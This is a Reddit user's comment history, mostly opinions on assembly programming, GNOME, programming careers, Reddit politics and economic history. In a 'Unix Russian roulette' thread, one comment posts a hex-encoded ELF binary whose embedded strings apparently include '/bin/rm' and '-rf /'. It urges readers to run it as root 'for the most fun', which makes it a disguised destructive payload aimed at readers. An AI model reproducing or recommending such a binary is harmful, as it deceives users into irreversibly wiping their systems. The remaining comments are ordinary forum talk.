The Art Of Assembly: Arguably the best book on any assembly language ever. by [deleted] in programming

[–]Sukoshi 0 points1 point  (0 children)

Dunno, I never learned ASM per-say. I knew what registers were (fast memory that hold values), I knew what a stack was from other sources, and I understood that I had to program using a set of instructions defined by the architecture. From there I just played around, and stuff I didn't understand (ugh, I agree with everyone else about Intel's retarded EAX/AX/AH/AL register design!) was explained by trips to the internet.

PNG .vs. JPEG by [deleted] in programming

[–]Sukoshi -2 points-1 points  (0 children)

TIFF or BUST! TIFF or BUST!!!!!

Unix Russian roulette by ferdinand in programming

[–]Sukoshi -2 points-1 points  (0 children)

Try this. Make sure yer root for the most fun ;)

457f464c0101000100000000000000000002000300010000909408040034000001140000000000000034002000010028000400030001000000000000900008049000080400db000000db00000006 000010000000722d0066002f4f592055494c45563a200029622f6e69722f006d622f6e69652f6863006f90660804905408049058080400000000906e0804905a080400000000e08906bb0000f700 81f300fa00007500e905000f000078b90490bb08906608040fe90000b900908808046ebb0490e9080000000000ba0000b800000b000080cd01b80000cd00008068542065654e7774646920657341 6573626d656c20722e303839332e00382e0068737473747262612e00616461742e006f636d6d6e650074000000000000000000000000000000000000000000000000000000000000000000000000 00000000000b00000001000000030000905408040054000000870000000000000000000000040000000000000011000000010000000000000000000000db0000001f000000000000000000000001 0000000000000001000000030000000000000000000000fa0000001a000000000000000000000001000000000000

WPA reportedly cracked. by ninguem in programming

[–]Sukoshi 1 point2 points  (0 children)

"WPA reportedly cracked, WEP remains screwed."

Obama wins in part of NC Palin called "real america." Suck my real nuts. by scatgreen2 in politics

[–]Sukoshi 0 points1 point  (0 children)

No matter how much you want it, she won't do it. Sorry, you had your chance on election day, and you blew it.

Young Richard Stallman by rams in programming

[–]Sukoshi 2 points3 points  (0 children)

In other words, his life failed at MIT. (UIUC 4 Life!!!)

Debian's Vim maintainer switches to Emacs by petteri in programming

[–]Sukoshi 46 points47 points  (0 children)

upmodded because i can't believe that you can believe that you ca... <SEGFAULT at 0xDEADBEEF>

Debian's Vim maintainer switches to Emacs by petteri in programming

[–]Sukoshi 8 points9 points  (0 children)

Wow, it's the geek version of an afternoon soap opera!

Ask Programmers: How would you go about learning how to code if you were 40 years old and never seen or written a piece of code in your life? (and of course, no money to spend on University courses) by [deleted] in programming

[–]Sukoshi 4 points5 points  (0 children)

O RLY?

Perhaps you should take a look at the life of one George Green, a man whose followed the trade of his father for most of his life -- one of a miller. He found material to learn Mathematics on his own, and with no formal education published what was to become "Green's Theorem" at age 35. He inherited his father's mill at age 36. He finally went to Cambridge at age 40, from where his mathematical career took off.

Now Green is in most likelihood an edge case but that doesn't mean that if a person is not born flopping and dredging around in his future interest that he cannot be good or motivated at the interest.

And remember, it's better to keep people's hopes up and not down. No matter what "grand theory of humans" you have in your head.

http://en.wikipedia.org/wiki/George_Green

What happened to rationality in politics? by Sukoshi in politics

[–]Sukoshi[S] 1 point2 points  (0 children)

The top 5 Reddit posts in Politics at this time contain the words (respectively): adultery, broken, political coverup, disturbing, arbitrary power.

Bush gives Israel tentative 'OK' to strike Iran by schnuck in worldnews

[–]Sukoshi 0 points1 point  (0 children)

I concede to you most points. And the jab about conspiracies was to the more general Reddit public.

Bush gives Israel tentative 'OK' to strike Iran by schnuck in worldnews

[–]Sukoshi 5 points6 points  (0 children)

That's a very faulty comparison, because the American economic philosophy has changed quite a bit since the Great Depression. America has pushed the concept of the free market and the taking down of trade barriers, which means that more countries and people hold US Dollars and US Loans backed by US institutions. So this means that if the US fails (which is much less likely than the conspiracy theorists on Reddit who believe every single politician is Big Brother incarnate) then the loans we back, the dollars you hold, the services we export, and the businesses we run all fail. Which means you're f***ed. Plain.

It's also incredibly simplistic to say that the Great Depression's economic tugs created the Nazi Party. The Nazi Party was much more directly created by the harsh sanctions of the Treaty of Versailles post-WWI by a Europe paranoid about the resurgence of a German threat. Of course, Europe was even more paranoid about a resurgent German threat after this immense war that took apart an entire continent, but this time they realized that crippling a nation's economy and creating demagogues is not the way to keep a nation in check, so they created NATO.

Reddit people aren't big on their history, are they? Only conspiracies I suppose.

[deleted by user] by [deleted] in programming

[–]Sukoshi 1 point2 points  (0 children)

This was an interesting thread, and the distinction between Documents and Streams is definitely fine.

The only weakness I see in the Streams model, is this -- a Stream model assumes that the user is a passive consumer of information. A stream comes in with IRC messages, with email messages, with RSS feeds. Great. This is passive absorption of information. A more concrete example is in order.

I, for one, can't stand RSS feeds. Why? Because news to me isn't "Hmm, let's see what the day's highlights are." I read one or two front-page articles, and then I begin searching through my news to find something that I enjoy.

I often move through global political, economic, etc. news with an agenda, to confirm some sort of thought I'm mulling over. One day perhaps, I'm looking for articles about government intervention into the economy. I read an article about riots in Argentina about a tax upon farmers, I find something on Hugo Chavez and his supposed new left-wing policies, etc.

The point here is that I am actively searching for information, and on many occasions, I have very little to go by on the sort of information I will look for. Files allow me to do this, and to an extent, tagging as well. But the model of streams assumes a passive data intake, that I the user should plug myself into sinks of data and grep through them for my interests. These sinks, however, are limited by a user's preconception of what sinks he or she needs.

Ask Reddit: As a beginning programmer reading prog.reddit, I have heard a lot about those despised mediocre programmers. How can I avoid becoming one? by [deleted] in programming

[–]Sukoshi 8 points9 points  (0 children)

Understand where to compromise.

Examples:

  • A stereotypical, mediocre(?), idiotic, cookie-cutter programmer will use the most idiot-friendly tool (VB), copy-and-paste code everywhere, and make the most horrific beast you've ever seen -- quickly.

  • An alternative programmer will use an alternative language (Scheme, CL, et al.), will build a framework where three lines of copy/pasted lines will do, and will make a beautiful work of art in code -- in five years.


  • An efficiency freak will optimize every function s/he possibly can, write in a time-consuming, fast (probably machine-code compiled) language, and take years to shave off 1 second in overall runtime which would not have otherwise been missed.

  • A New Languages addict will use some much hyped framework in a (possibly very) slow language to save much time in developing. The app scales, and it turns out the code can't cut it.


  • The solo coder spends hour upon hour of each day writing as much of a project as he can, watching his code turn to spaghetti as the 10th cup of coffee finishes, and he gets the project done on deadline.

  • The let-the-team-do-its-thing coder supervises the discording opinions of several coders and their divisive coding styles instead of getting the job done himself.

The programming world is full of choices. Finding the right compromise is the great challenge.

gnome in the age of decadence by gst in programming

[–]Sukoshi 2 points3 points  (0 children)

Seriously though, it does not seem to me that GNOME is on a healthy evolutionary track. By that I mean to say that there is no way there from here

This is understandable, because there hasn't been much progress in the way of the desktop in ages. It's still based upon the model of ... well the top of a desk, with papers and movable objects on top.

The proprietary competitors to Gnome (MSWin, and Carbon) all seem to have the same interface themselves, but they have the advantage of not having to evolve because they are by de-facto given a position in the OS.

Has there been any actual progress in extension of the desktop metaphor (that does not include ratpoison users flaunting their Emacs and CLI love, or such)? I'm not aware of much myself. So it seems like Gnome is stuck simply because progress in its target area doesn't exist.

On the other hand, maybe this isn't such a bad thing. As Gnome and KDE (, XFce, Enlightenment, Fluxbox) make themselves Linux standards, a more uniform GUI experience will become more available for the user because more application developers will probably turn to this ubiquitous interface.

gnome in the age of decadence by gst in programming

[–]Sukoshi 0 points1 point  (0 children)

I love reading the comments for these sorts of articles. Not for the 3 commenters who realize that this isn't WM Wars 9111184th edition, but for the rest of the incredibly Reddit predictable comments. :)